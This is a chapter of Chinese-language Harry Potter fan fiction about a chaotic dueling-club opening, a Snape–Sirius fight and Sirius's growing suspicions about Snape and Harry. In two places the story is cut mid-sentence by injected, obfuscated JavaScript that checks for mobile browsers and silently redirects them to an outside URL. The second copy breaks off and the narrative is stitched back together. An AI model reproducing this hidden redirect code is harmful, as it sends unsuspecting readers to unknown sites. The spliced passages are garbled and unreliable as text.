罗恩的脸唰地涨红:“那只是意外!我现在已经很熟练了!” 泰迪瞪大眼睛,来回看看两人:“你们背着我偷偷练了?为什么赫敏知道我不知道?这不公平!” “谁让你那天晚上又溜去地窖了?”罗恩嘀咕着,试图岔开话题,“赫敏只是碰巧撞见罢了。” “哦?是吗?”泰迪眯起眼,正要追问,余光却瞥见了一个身影。 礼堂靠墙的角落里,德拉科·马尔福独自站着,与周围的喧闹格格不入。他微微低着头,铂金色头发遮住半边脸,像被人群隔在另一个世界。 泰迪想起了上次魁地奇比赛前在走廊里的那次短暂谈话,以及德拉科当时流露出的脆弱——自那之后,他们几乎没再说过话。他想了想,还是对罗恩和赫敏说了声“等我一下”,便朝那个角落走了过去。 “德拉科?”泰迪走近了些,轻声唤道。 德拉科抬头,看见泰迪,脸上疏离的神色稍稍缓和。他点了点头,算是打招呼:“泰迪。这里人真多。” “是啊,太挤了!”泰迪笑了笑,“你也报名了吗?等会儿要不要和我们一起练习?” 德拉科眼神闪了闪,瞥了眼不远处的罗恩和赫敏,摇头道:“不用了,韦斯莱可不会欢迎我。”他停顿片刻,视线越过泰迪,望向礼堂门口,“高尔和克拉布在那边等我,我先走了。”没等泰迪回答,他转身快步融入人群,背影很快消失。 泰迪看着他离开的方向,轻叹了一口气,转身回到了罗恩和赫敏身边。 “真搞不懂你,泰迪,”罗恩盯着德拉科消失的地方,撇了撇嘴,“干嘛老搭理马尔福?好吧,去年那家伙是假的,可他毕竟还是斯莱特林的人,不是吗?” “罗恩,别这样说。”赫敏轻轻碰了碰他的胳膊,“我参加‘八卦前哨站’节目时与他合作过两次,他真的跟我们印象里的样子很不一样了。说实话,我觉得他现在挺讲道理的。” 罗恩依旧不满地嘀咕:“行吧,可他毕竟还是斯莱特林的人,那总是真的吧?”他对赫敏为马尔福说话似乎有点不自在,但也没有再坚持反对。 泰迪凝视着德拉科离开的方向,心里闷闷的。罗恩明明知道去年的事,却还是放不下来对斯莱特林的戒备,或许这也怪不了他,毕竟格兰芬多和斯莱特林从来就合不来。赫敏似乎更能理解一些,但他们真的能体会德拉科现在的处境吗?经历了那样可怕的囚禁,真正的德拉科显得那么孤单,仿佛随时会缩回自己的壳里。泰迪还记得那天在走廊,德拉科疲惫的眼神像个迷路的孩子,那份孤单让他觉得难过。他想帮德拉科,却不知道从何下手,也不知怎么跟最好的朋友们解释,只能把这份担忧藏在心里。 一阵热烈的掌声和口哨声打断了他们的对话——哈利·佩弗利尔与弗立维教授并肩登上了决斗舞台。哈利步伐沉稳,脸上带着一抹温和的笑意,向台下欢呼的学生挥手示意。身材矮小的弗立维教授几乎被学生们的热情吞没,小跑着跟在哈利身旁,不时踮起脚尖,兴致勃勃地张望台下涌动的人头。 哈利走到舞台中央,抬手示意安静。他的声音足够响亮,让所有人都听得清清楚楚。 “欢迎大家来到霍格沃兹决斗俱乐部与决斗协会的联合启动仪式!很高兴看到大家抱有如此大的热情。今天,我们将正式启动这两项活动,目的是为所有人提供一个安全、规范的环境,学习和练习决斗技巧。但我要提醒大家,决斗考验的不只是魔咒技巧的较量,还有责任感、判断力与对对手的尊重。安全始终是第一位,任何违反规则或恶意伤人的行为都将受到严厉处罚。” 弗立维教授迫不及待地迈上前,激动地搓着双手,“没错,安全第一!佩弗利尔教授说得太对了!我们将根据大家的水平进行分组,俱乐部专注于基础咒语和防御技巧的教学,而协会则提供更进阶的练习和比赛机会。基础是关键,千万别小看它!”他转向哈利,声音里充满了期待,“报名人数远远超出预期,哈利!幸好我们早有准备。我请的助手马上就到,你那边怎么样?” 哈利刚要回答,一个夸张而响亮的声音突然横插进来,盖过了现场的喧哗。 “别担心,菲利乌斯!有我吉德罗·洛哈特在,一切都在掌控之中!我随时准备好提供协助!”洛哈特身披一袭晃眼的勿忘草蓝色镶金长袍,大步流星地登上舞台。他潇洒地甩了甩那头金光闪闪的卷发,转向学生,露出一个自以为迷人的笑容,“而且,为了让大家得到最顶尖的指导,我还特意额外请来了一位造诣深厚的助手——我们尊敬的西弗勒斯·斯内普教授!” 随着洛哈特夸张的手势,西弗勒斯·斯内普阴着脸出现在他身后。他依然穿着那身仿佛能吞噬光线的黑色长袍,冷冽的目光扫过台下,不少学生缩了缩脖子,礼堂里的喧闹瞬间低了几分。 罗恩戳了戳泰迪的胳膊,压低声音,用气声问道,“你不是说他不会来吗?” 泰迪没回他,而是下意识看向哈利。他看到哈利脸上的笑容敛去,快速闪过一丝错愕,紧接着便蒙上了一层显而易见的恼火与无奈。 哦,哈利不高兴了。 泰迪清楚记得几天前哈利随口提起过邀请斯内普做助手的事,当时他皱着眉抱怨:“我去找他,他理都没理我。”可现在西弗为什么会跟洛哈特教授一起来了?他皱起眉,觉得自从哈利回来后,和西弗的关系就奇奇怪怪的,他这颗小脑袋实在理不清其中的古怪。 弗立维教授见到斯内普,先是一愣,随即喜形于色,高兴地拍手道:“太好了,西弗勒斯!有你加入,学生们肯定能得到更专业的指导!哈利,你看,我们的指导团队越来越强大了!” 哈利对弗立维微微颔首,目光却转向斯内普——后者正刻意避开他的视线。他勾了勾嘴角,露出了一个不达眼底的笑,“看来洛哈特教授的魅力无人能及,连斯内普教授也无法拒绝——不像我,上周拜访时可没这么幸运。毕竟我去邀请时,您似乎正埋首于重要的魔药研究,连抬眼看我一眼的时间都没有,我还以为这事没戏了呢。” 这话一出,斯内普的肩膀微微一僵。他仍未正眼瞧哈利,只是脸绷得更紧了,像是要将那句带着刺的嘲讽彻底挡在外面。 台下的学生们却炸开了锅。哈利这番意有所指的话像一颗火星,点燃了他们早已按捺不住的好奇心,交头接耳的声音更大了,空气中弥漫着一股兴奋的八卦味道。 哈利不再理会斯内普,转而对弗立维说:“菲利乌斯,我请来的助手应该也到了。” 他的话音刚落,大礼堂的侧门被推开,一个身影逆着光走了进来。来人身材高挑挺拔,穿着一身休闲时髦的深灰色巫师袍,步伐轻松自然,英俊的脸上挂着一抹漫不经心的微笑,一双明亮的灰色眼睛扫过全场。 是小天狼星·布莱克。 他的出现掀起一阵低低的惊呼,女生们尤为激动。泰迪注意到不少女生的脸红了,有些还踮起脚尖想看得更清楚。 小天狼星随意地挥了挥手,像个习惯焦点的熟客,径直走向决斗台。 他的目光很快锁定哈利,笑容变得更加灿烂。然而,当视线扫过哈利身旁几人,最终停在斯内普身上时,那笑容骤然消失,毫不掩饰的厌恶浮现在脸上。 斯内普自然也在第一时间注意到了小天狼星,原本就不好看的脸色变得更加阴沉。 “布莱克?”他冷冷吐出这个姓氏,“真令人惊讶。霍格沃兹什么时候堕落到需要一个四处惹祸的傲罗来装点门面了?还是说,魔法部清剿黑巫师的活儿已经清闲到让你有空来这里展示你那身可笑的新袍子?” 小天狼星停在舞台边缘,双手抱胸,挑衅地扬起下巴:“哦?斯内普,难得见你爬出那阴湿的地窖。我还以为你早就在药剂瓶里泡烂了呢。怎么,是洛哈特的光芒太耀眼,连你这只蝙蝠也忍不住想凑过来沾点光?” “总比某些人强,听到主人的哨声就摇着尾巴跑来献殷勤。”斯内普反唇相讥。 “你说什么?” “如果我说得不够明白……” 两人针锋相对,火药味渐浓,台下学生们兴奋地窃窃私语。泰迪看到哈利抬手按了按太阳穴,似乎头痛欲裂,而弗立维教授急得直跺脚,小个子几乎要跳起来。 “够了!”哈利不得不提高声音,试图压下这失控的局面。他迈上前一步,站在两人中间,目光在小天狼星和斯内普之间扫过,“小天狼星是我请来的嘉宾,协助指导俱乐部的低年级学生。作为现役傲罗和霍格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156433|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沃兹的优秀校友,他有丰富的实战经验。斯内普教授和洛哈特教授是弗立维邀请的助手,负责协助高年级学生的练习和比赛。我们今天是为了学生——” “协助指导?”斯内普发出一声嗤笑,打断哈利,目光斜睨着小天狼星:“恐怕是来捣乱的吧?就像他学生时代一样,除了惹是生非,一无是处。” “哦?听听这是谁在说话?”小天狼星怒火中烧,魔杖已握在手中,“一个一辈子活在詹姆斯阴影里的家伙,除了靠折磨学生来找点可怜的存在感,还能干点什么?”他向右前方踏出一步,避开哈利,魔杖微微抬起,“怎么,斯内普,当年是詹姆的手下败将,现在还只会躲在暗处耍阴招?敢不敢像个男人一样来一场,让学生们看看你那点见不得光的伎俩!” 斯内普眼中寒光一闪,几乎在小天狼星话音落下的同时,也抽出了魔杖。“乐意至极,布莱克。正好让大家见识一下,空有其表的布莱克,除了狂吠还能剩下什么。” 两人连决斗礼仪都省了,魔杖一挥,各色咒语光束毫无章法地射向对方,舞台上顿时火花四溅。 “哇!”罗恩惊叫出声,“他们真的打起来了!”泰迪紧张地抓住赫敏的袖子,目光在斯内普和小天狼星之间来回移动。 斯内普挥出一道红色光束,与小天狼星回击的冲击咒在舞台中央猛烈相撞,爆鸣声震耳欲聋,气浪掀起地毯边缘。他手势未停,迅速施展一个无声的腿立僵停咒,咒语悄然射向小天狼星的膝盖,后者则咆哮着回敬了一个足以掀翻桌子的粉碎咒。两人你来我往,咒语的光芒映出斯内普苍白脸上毫不掩饰的厌恶,也照亮了小天狼星因愤怒而有些扭曲的英俊面容。斯内普手腕一抖,一道切割咒擦过小天狼星的袍角,留下一片焦痕;小天狼星侧身闪避,同时挥出一道变形咒,将斯内普脚下的石板化为粘稠的泥沼,试图将其困住。 舞台上光影交错,魔力激荡,紧张的气氛令台下所有人屏息。小天狼星敏捷地躲开一道束缚咒,但斯内普紧接着甩出一个障碍咒,险些将他绊倒。他狼狈地稳住身形,反手一道冲击咒将斯内普脚下的石板炸得四分五裂。一道刁钻的无声咒紧随而至,小天狼星险险用盔甲护身挡住,碰撞发出金属摩擦般的尖响。 “快!屏障!!”弗立维教授尖声喊道。他与哈利同时挥动魔杖,在舞台边缘迅速布下几层厚实的银白色防护屏障,挡住了飞溅的咒语碎片和木屑。学生们发出一片惊呼,既害怕又兴奋地向后退开一些距离。 一直被晾在一旁的洛哈特似乎抓住了“表现”的机会。他趁两人对峙的空隙上前一步,脸上带着自信的笑容:“好了,两位先生,冷静一下!这节奏太快,不合规矩,还是让我先为学生们展示一下标准的……” 他的话还没说完,正激烈对攻的斯内普和小天狼星几乎同时顿了一下,仿佛被这没眼力的打扰激怒了共同的神经。两人头也不回,动作惊人一致地向洛哈特的方向甩了一下魔杖——一道缴械咒和一道昏迷咒精准无误地同时击中了洛哈特。可怜的畅销书作家连哼都没哼一声,就被这两道叠加的咒语打得向后倒飞出去,重重摔在舞台角落,彻底昏死了过去。 台下先是一静,随即爆发出一阵响亮的哄笑和零星的掌声。 眼看着礼堂天花板上的魔法吊灯都在剧烈晃动,两人的咒语威力已经远远超出了“示范”或“切磋”的范畴,更像是动了不死不休的真格,哈利终于忍无可忍。就在两人下一道威力强劲的咒语即将正面相撞时—— 哈利果断上前,魔杖如闪电般挥出,一道厚重如水银的银白色屏障瞬间挡在两道咒语之间。屏障在猛烈冲击下剧烈震颤,发出震耳欲聋的嗡鸣,表面浮现出蛛网般的裂纹,但它硬生生挡住了攻击,吸收了大部分破坏性力量,将余波导向天花板。“轰隆”一声闷响,礼堂天花板被震落了大量的灰尘和几片石屑。 不等众人回过神,哈利魔杖末端向下一挥,一股无形冲击波以他为中心扩散开来,迫使台下学生不由自主后退一步,也让斯内普和小天狼星的身形同时一滞。 “都给我住手!” 哈利的声音并不响亮,但蕴含的怒火和久经战争的威压让全场瞬间鸦雀无声。他锐利的目光依次扫过因震惊而动作同时僵住的两人。 斯内普和小天狼星都喘着粗气,胸膛剧烈起伏,依旧用杀人般的目光互相怒视着对方,但都被哈利那精准的时机和令人心悸的防御能力震慑,停下了动作,没有再轻举妄动。 哈利疲惫地扫了他们一眼,转向台下,声音尽量平稳,“刚才……斯内普教授和布莱克先生为大家展示了一场非常激烈的高水平对抗。”他稍作停顿,语气随即变得严肃,“但我必须强调,刚刚的咒语威力远超常规练习,要求极高的技巧和控制力,任何学生都严禁在俱乐部或协会活动中模仿这些行为,尤其是在没有教授明确指导和监督的情况下。我们设立俱乐部的目的是学习如何负责任地运用魔法,不是进行危险的争斗。安全和规则永远是第一位!” 他严厉地看向斯内普和小天狼星,带着十足的警告意味,又瞥了一眼角落里昏迷不醒的洛哈特,“鉴于洛哈特教授暂时‘无法’进行指导……弗立维教授,请您和斯内普教授负责协会区域的比赛组织和进阶指导。” 然后,他转向还一脸不爽、但明显收敛了许多的小天狼星:“小天狼星,你跟我来。我们负责俱乐部这边的基础教学和秩序维持。” 斯内普发出一声极轻的冷哼,眼神复杂地在哈利脸上停留片刻,最终扔下一句,“佩弗利尔教授最好管好你的‘嘉宾’,免得我还得替你动手。”说完,黑袍一甩,径直走向高阶练习区,开始检查那片区域的屏障。 小天狼星恶狠狠地瞪着斯内普的背影,悻悻地走到了哈利身边。 96. 混乱的决斗台(下) 小天狼星站在哈利身边,看着哈利脸上怒气未消,却依然有条不紊地将低年级学生分成小组,心里一阵愧疚。他摸了摸鼻子,暗想自己把事情弄糟了。本是来给哈利撑腰的,谁知一上来就和斯内普那个混蛋当众大打出手,还差点拆了礼堂。 该死的鼻涕精……他咬牙暗骂,眼角余光警惕地扫向礼堂另一端——斯内普背着手站在斯莱特林学生旁边,裹在黑袍里,像只阴沉的老蝙蝠,冷眼瞟着这边。他磨着后牙槽,差点又要骂出声。但目光转回哈利,看到哈利疲惫地揉着眉心,他又懊悔自己方才太鲁莽。他是来帮忙的,不是来给哈利添乱的——都怪斯内普那个阴阳怪气的混蛋! “好了,大家安静!”哈利的声音清亮,将小天狼星纷乱的思绪拽了回来,“拿起魔杖前,我们得先学决斗的基本礼仪。面对你的搭档,鞠躬……” 哈利开始讲解决斗的基本礼仪和缴械咒“除你武器”。他已从方才的风波中平静下来,耐心地示范基础防御姿势,动作干净利落,毫无多余花哨。 小天狼星站在一旁,名义上是“协助”,可他发现自己压根没怎么插上手,大部分时间都在盯着哈利看。他惊讶地发现,哈利的教学风格和他脑子里想的完全不一样——没有詹姆斯那种跳脱和张扬,也没有多少他记忆碎片里那个冲动莽撞的少年哈利的影子。 “……缴械咒,‘除你武器’,是最基础也最实用的咒语之一。关键是意图清晰,出手要快。”哈利对着一群专注的低年级生说道,“别小看它。熟练掌握后,它能在危急时成为最可靠的保护。” 眼前的哈利沉稳耐心,讲解清晰,条理分明,面对一群叽叽喳喳的学生,能不厌其烦地重复解释同一个动作。他纠正错误时严格却不失鼓励,举手投足间显出一种成熟的可靠感,让学生们自然围在他身边。这种感觉让小天狼星既觉得陌生,又有些莫名的心安。 “小天狼星?”哈利的声音唤回他的注意力,“能和我一起演示一下吗?” 他立刻挤出笑容,走上前:“当然!” 接下来的半小时,小天狼星尽力专注教学,示范咒语角度,调整学生握杖姿势,还对一个发抖的赫奇帕奇新生开了几句玩笑,哄他放松。可他的视线总忍不住飘向舞台另一侧,那个黑袍飘动的身影。 弗立维正在兴高采烈地组织高年级学生进行分组对抗,而斯内普——那个油腻腻的混蛋,看似在点评几个学生的练习,但小天狼星敏锐地捕捉到,斯内普的目光却频频越过人群,投向哈利的方向。 那眼神……小天狼星皱起眉头,胃里涌上一股不适感。他没听清旁边学生的问题,随口应付两句,脑子里却拼命回想。 不对劲,非常不对劲。这种眼神他见过。在哪儿? 记忆艰难转动——图书馆的暗角,走廊的拐弯,一个红发身影……不!他猛地打了个寒噤,心底却像是有警报在尖叫。他用力甩了甩头,想把刚才那个荒谬的联想甩出大脑。斯内普?用“那种”眼神看哈利?不可能!准是自己看错了,或是角度问题。他努力用这个理由说服自己——他只是在监视,对,监视哈利,想找茬! 可疑虑一旦生根,便疯狂滋长。他又看向哈利,见他在讲解间隙也朝斯内普那边瞥了一眼,随即收回目光。 他只是担心那边再出乱子吧?弗立维教授虽然厉害,但要管住鼻涕精那个阴沉的家伙,恐怕也够呛。 小天狼星这样安慰自己,可心里的烦躁愈发浓重。他甚至开始怀疑,难不成刚才跟鼻涕精打斗的时候,自己不知不觉中了暗算?比如混淆咒之类的?倒也不是没可能……他想起了冈特老宅事件后,斯内普急匆匆赶到峡谷之屋,那副急于见到哈利的样子……当时他就觉得有点怪。不不不,别胡思乱想了,布莱克!他暗骂自己一句,试图把这些乱七八糟的念头压下去。对了,他忽然想起一件一直惦记着的事,正好可以转移一下注意力,那把扫帚!他得问问哈利。 教学暂时告一段落,哈利让学生们两人一组开始练习缴械咒。小天狼星瞅准时机,几步凑到哈利身边。 “教得真不赖,”他拍拍哈利的肩膀,想缓和气氛,“比我当年耐心多了。” 哈利抬眼看他,唇边浮现一丝笑意:“谢谢你能来,虽然开场有点——” “——戏剧性,我知道。”小天狼星挠了挠后颈,“抱歉,我不该那么冲动。”他犹豫了一下,脸上露出期待的表情,忽然话锋一转,压低声音问:“嘿,哈利,那把光轮2001怎么样?飞起来感觉不错吧?” 哈利明显怔了一下,随即脸上浮现无奈又好笑的表情:“是你送的?小天狼星?我还以为……” 小天狼星说起来还有些耿耿于怀,“说实话,本来想给你弄把火弩箭的,那玩意儿才配得上你!结果我跑遍对角巷和霍格莫德的扫帚店,居然都找不到这个型号。奇怪,我明明记得——”他顿了顿,有些懊恼地拍了拍哈利的肩膀,完全没注意到周围学生们八卦的眼神已经快把他们盯穿了,也没在意哈利脸上闪过的一丝僵硬,“唉,最后只能挑光轮2001了。下次我一定给你弄把更好的!” “火弩箭?”哈利下意识地追问了一句,声音很轻,“小天狼星,你是说……你本来是想买火弩箭的?” 话一出口,哈利似乎立刻意识到了什么,眼神闪烁了一下,很快又恢复了那种带着点纵容和无奈的表情,看着还一脸状况外的小天狼星,“呃,没什么,谢谢你的礼物,小天狼星。它真的很棒,我很喜欢。不过……”他微微偏头,“下次送礼物前,也许可以先看看日历?” 小天狼星总觉得哈利的反应有点古怪,可还没来得及问出口,旁边正在和赫敏练习的罗恩突然像被踩了尾巴的猫一样跳起来,眼睛瞪得溜圆:“什、什么?光轮2001?布莱克先生!所以情人节那天送哈利扫帚的那个‘神秘爱慕者’……就是您?” 罗恩这嗓门可不小,足以让半个礼堂听见。“情人节”“神秘爱慕者”“光轮2001”几个关键词一出,瞬间点燃了本来就伸着耳朵偷听的学生们的情绪! “哦——!” 整个礼堂爆发出一阵拖长了调的恍然大悟声。学生们纷纷停止了练习,目光兴奋地在哈利和小天狼星之间来回扫视,大声议论起来。 “原来是布莱克先生送的!” “我早猜到了,肯定是个英俊厉害的巫师!” “看起来比斯内普教授般配多了!” “你看佩弗利尔教授还邀请他来做助手,关系果然不一般!” 小天狼星被这突如其来的阵仗弄得一头雾水,他茫然地看着周围兴奋的学生,又转向哈利:“情人节?什么情人节?”他眼睛睁大了,脸上的笑容瞬间僵住,一股热意涌上脸颊。“情、情人节?”他感觉舌头都快打结了,“我送礼物那天……是情人节?” 哈利一手扶额,无奈地点点头。 小天狼星脸上一阵红一阵白,想起了什么,呻吟一声。难怪那天买扫帚时,店老板眼神怪怪的,还神秘兮兮地问要不要绑个粉红爱心蝴蝶结……他当时还以为是新促销包装!哦梅林啊!他居然在情人节给教子送了一把扫帚,还被当成了“神秘爱慕者”?他不自觉后退半步,差点撞到旁边的学生,心里恨不得给那个不提醒日期的老板来一个恶咒。 那天他满脑子都是那个越来越清晰的梦境——哈利骑着一把快如闪电的扫帚,在魁地奇赛场上疾风般穿梭,帅气抓住金色飞贼,赢得全场欢呼。他记得清清楚楚,那是火弩箭! 直到那个梦境反复出现,他才隐约意识到,在记忆中的世界,那把火弩箭是他送给哈利的礼物。于是那天早上,他从床上蹦起来,天刚亮就冲到对角巷,守在“优质魁地奇用品商店”门口等着开门。 他迫不及待想要把这份本该属于哈利的礼物,重新送到他手上,给他一个大惊喜!结果呢?老板一脸茫然地告诉他,店里没有叫“火弩箭”的扫帚!跑遍了对角巷和霍格莫德,他也没找到那传说中的型号。最后,满心失落又不想空手而归的他,只能退而求其次,选了光轮2001。谁能想到,这份一心想要弥补的礼物,竟然是在情人节这天送出去的! 一想到自己兴冲冲送出的礼物,不仅型号不对,还成了全校的笑柄和八卦素材,小天狼星就恨不得回到那一天给自己后脑勺狠狠来一魔杖。他脸上火辣辣的,几乎不敢去看哈利和周围学生探究的目光。 他想说点什么缓解尴尬,哈利似乎察觉到他的窘迫,已经转身面向学生们:“好了,请回到练习上!每个小组继续练习缴械咒。” 学生们不情愿地回到各自位置。罗恩看上去憋足了劲想在赫敏面前表现一下,结果没两下就被赫敏精准的咒语打得魔杖脱手,他本人则狼狈躲闪,引来周围一阵哄笑。泰迪和纳威分在一个组,两个人都有些紧张,魔杖尖端时不时冒出小火花,但练习得还算认真,磕磕绊绊地互相施放着咒语。 小天狼星站在一旁,深吸几口气,平复那股尴尬的燥热。他的目光跟着哈利,在学生间穿梭的哈利——耐心纠正他们的姿势和发音,偶尔示范一个标准的魔杖挥动。他自己也指点了几个学生,这活儿不费劲,学生大多只是紧张,稍加引导就行。于是,他的视线很快飘向礼堂另一边。 斯内普冷着脸,正斥责一个动作走样的格兰芬多学生。但每隔几分钟,那双漆黑的眼睛就会向这边扫过来。 哈利像是察觉到了,却没有任何不适或厌恶的表现。相反,他在指导的间隙偶尔也会不经意地瞥向斯内普那边。虽然只是短短一瞬,这一眼,让小天狼星心里的疑虑和那个可怕的联想一起翻涌起来。 斯内普那个该死的眼神……实在太像了!太像当年他看莉莉的……不!不可能! 他再也无法自欺欺人,用“看错了”这种借口搪塞。那些他曾刻意忽略的细节,此刻争先恐后地蹦了出来——哈利居然直呼斯内普的教名“西弗勒斯”!光是听到这个称呼从哈利嘴里说出来,小天狼星就感觉浑身的鸡皮疙瘩都要起来了!还有哈利刚回到这个时间的时候,居然是住在斯内普家里?斯内普从一开始就知道他的真实身份,不是什么哈利·佩弗利尔教授,而是詹姆斯·波特的儿子,哈利·波特。更别提上次,仅仅一天联系不上哈利,斯内普竟动用了黑魔标记的紧急联络,哪怕可能暴露自己?鼻涕精什么时候对哈利这么上心了? 这太不正常了。斯内普那种阴沉恶毒、睚眦必报的家伙,就算是从食死徒的阵营倒戈——梅林知道邓布利多为什么会相信他——本性也绝对不可能改变!他对哈利,难道不应该充满继承自对詹姆斯的厌恶吗?可现在呢?哈利总是在维护他,甚至信任他? 小天狼星感到一阵眩晕。这些和他记忆碎片里的一切都对不上——哈利提起斯内普时该是咬牙切齿,斯内普看哈利时该是满眼恶意。可眼前,为什么完全不一样? 一声轻微的爆鸣让他回过神来,是一个拉文克劳女生缴械咒失了准头,火花险些燎到搭档的袍角。哈利立刻走过去,低声指点了几句。小天狼星注视着这一幕,心跳在胸腔深处沉重敲击。他的目光移到旁边,锁定了一个小小的身影。机会来了。 小天狼星趁机悄悄把泰迪拉到一旁,弯下腰,努力让自己的声音听起来像是漫不经心的闲聊,尽管提到某个名字时舌头还是忍不住打了个磕绊:“泰迪,小家伙,你教父……我是说哈利,他和……呃,那个斯内普,他们最近关系怎么样?” “挺好的呀?嗯……虽然前一阵子,哈利好像确实惹西弗生气了,”泰迪眨巴着那双棕色的眼睛,努力回想,“他们有一阵子没怎么说话,气氛是有点怪怪的。不过上次格兰芬多赢了魁地奇比赛,哈利和西弗还专门为我一起庆祝了呢!总之呢,他们最近相处得还不错,没怎么吵架——哦,除了今天的事。”他赶紧补充了一句,“哈利今天有点生气,因为西弗好像没有答应做他的助教。” “一起庆祝?邀请斯内普做助教?”小天狼星感觉自己的脸都快扭曲了。鼻涕精会庆祝格兰芬多的胜利?为了泰迪?这简直比听说伏地魔改行去卖巧克力蛙还离谱!而且哈利那小子是脑子被哪个游走球给狠狠砸过了吗,居然主动去邀请那只臭蝙蝠?他强压住心头的惊涛骇浪,试图让自己看起来只是有点困惑,而不是下一秒就要跳起来拿魔杖指着什么人,“不是,泰迪,你不觉得他们俩之间有点不对劲吗?就是……太‘融洽’了?好得有点不正常?” 泰迪那双清亮的眼睛盯着他看了一会儿,小天狼星莫名感到一阵不自在,仿佛自己那点小心思快要被这孩子看穿了似的。泰迪微微歪了歪头,问道:“小天狼星,你是不是听到了什么奇怪的传闻?你可别信他们瞎说。哈利是很信任西弗的,西弗也一直在帮我们。”他像是突然想起了什么重要的事情,眼睛一亮,“对了!西弗还在帮爸——我是说莱姆斯叔叔——研究改良版的狼毒药剂呢!哈利说就快到最后阶段了!” 说完,他像是终于鼓足了勇气,眼睛亮晶晶地看着小天狼星,声音里透着一丝紧张和期待,“小天狼星,你问这些……是不是因为知道了哈利和我……我是说,我们的来历?” 小天狼星看着泰迪那充满希冀的眼神,心头一软,有些尴尬地挠了挠头,含糊地“嗯”了一声,算是承认了。 “那——”泰迪的眼睛更亮了,“我爸爸……他也知道了吗?” 小天狼星心中一酸,想起莱姆斯那张疲惫而固执的脸,还有那些未解的心结。他斟酌着词句,握住男孩瘦小的肩膀,“泰迪,你爸爸心里肯定是在乎你的,非常在乎。只是你知道的,他有些事得自己想清楚。等复活节假期,我们再看看情况,好吗?也许能找个机会……别担心,无论如何,来我家过节是一定的!你可以把我的房子闹翻天!” 泰迪脸上的光芒黯淡了一些,但他还是用力地点了点头,“嗯!哈利也说过!他说你家可漂亮了,外面风景特别美!” 小天狼星暗自松了口气,但立刻又被另一个信息抓住。他不动声色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不!他捏紧了拳头。无论如何,他必须找出答案。为了哈利,也为了詹姆斯和莉莉!绝不能让哈利被鼻涕精骗了! —————— 第一次决斗俱乐部与协会的联合活动在一片微妙的氛围中接近尾声。哈利站在台上,宣布活动结束,并简要布置了一些基础咒语的练习任务,鼓励大家回去后勤加练习。 他微笑着环视全场,“请记住,每周二和周六下午都会有常规练习,根据年级和水平分组。我希望看到大家都来参加。每月第二个和第四个周末,协会将举办小型比赛,欢迎所有人观摩。” 弗立维教授在一旁兴奋地补充:“比赛优胜者将获得学院加分和特别奖励!” 学生们发出欢呼,开始收拾东西准备离开。 弗立维教授挥动魔杖,轻巧地施了一个漂浮咒,将昏迷不醒的洛哈特像破布袋一样托起,大概是准备送往医疗翼。斯内普则冷着一张脸,几乎是在活动宣布结束的瞬间就转过身,准备第一个离开。但在经过哈利和小天狼星附近时,他的脚步微微一滞,那双黑沉沉的眼睛先是扫过哈利,又锐利地落在站在哈利身边的小天狼星身上。他原本就阴沉的脸似乎瞬间又黑了三分,嘴角嫌恶地向下撇,鼻子里发出一声不屑的轻哼。没再多看一眼,他便迅速移开目光,加快了步伐,黑色的袍角翻滚着消失在了大礼堂门口。 泰迪、罗恩和赫敏等人过来与哈利和小天狼星道别,也随着意犹未尽的人流离开。学生们三三两两地往外走,仍在兴奋地讨论着斯内普与小天狼星那场“世纪对决”,以及“佩弗利尔教授的神秘情人”揭晓后的八卦。 小天狼星望着斯内普远去的背影,眉头拧成一个疙瘩,心头的阴霾愈发浓重。 哈利看起来有些很疲惫,但成功掌控住今天的混乱局面让他精神还算不错,绿眼睛里带着光彩。他好不容易摆脱了热情的学生们,走向小天狼星,脸上终于露出了轻松的笑容,“嘿,总算结束了。谢谢你,小天狼星,今天帮大忙了。今晚留下来吃晚餐怎么样?我们可以——” 小天狼星口袋里的一面小镜子突然发烫,并传来一阵急促的震动。他心里一惊,猛然想起之前在指导学生时,镜子曾轻微震动过一次,但当时他忙于协助哈利演示,忽略了那细微的提示。现在震动更加强烈,他赶紧掏了出来。镜面上光芒一闪,浮现出一张带着异常激动神色的脸——是詹姆斯·波特。 他的心一下子提到了嗓子眼,对哈利做了个“稍等”的手势,快步走到礼堂一个稍微僻静的角落,背对着哈利,低声对着镜子急切地问:“詹姆斯?出什么事了?怎么这么急?” 镜中的詹姆斯笑容几乎咧到耳根,眼中闪烁着狂喜与泪光:“小天狼星……”他的声音因激动而颤抖哽咽,语速飞快,夹杂着喜悦的抽泣和断续的词句。 小天狼星只觉得大脑“嗡”的一声,瞬间失去思考能力。詹姆斯的声音仍在继续,但那些话如同梦呓,每一个字都重重砸在他心上,让他一阵眩晕。他似乎听懂了,又仿佛完全无法消化这突如其来的震撼。 他张着嘴,发不出任何声音,握着镜子的手不受控制地颤抖起来。过了好一会儿,他才找回一丝神智,对着镜子语无伦次地喊着:“真……真的?她还好吗?哦,梅林……詹姆斯!我马上过去!现在就去!”他没意识到自己声音有多大,直到詹姆斯同样激动地吼着回应几句后匆匆切断联系,镜面恢复了平静。 小天狼星仍保持着那个姿势,紧紧握着那面已经不再发烫的双面镜。无与伦比的狂喜如同最猛烈的浪潮般席卷了他,淹没了他所有的感官。詹姆斯……莉莉……他们……!巨大的喜悦让他想放声大笑,想原地跳起来,想立刻幻影移形!他猛地转过身,脸上还带着未消的震惊与狂热,目光下意识地寻找那个熟悉的身影。 哈利站在几步外,绿色的眼睛里写满关切与困惑,显然被他方才的失态吓到了。 看到哈利的那一刻,小天狼星胸腔里那股沸腾的喜悦,就像是被迎头浇下的一桶冰水,骤然冷却了大半。一阵锐痛穿透他的心脏,随后是深不见底的迷茫与无措,几乎将他吞没。 他的视线停在哈利身上。这个哈利,他的教子,詹姆斯和莉莉用生命守护的孩子,带着另一个世界的记忆与伤痛,来到这个本不属于他的时代,努力地寻找着立足之地。他才刚在峡谷之屋找到了一点家的感觉,他们才刚开始重新熟悉彼此…… 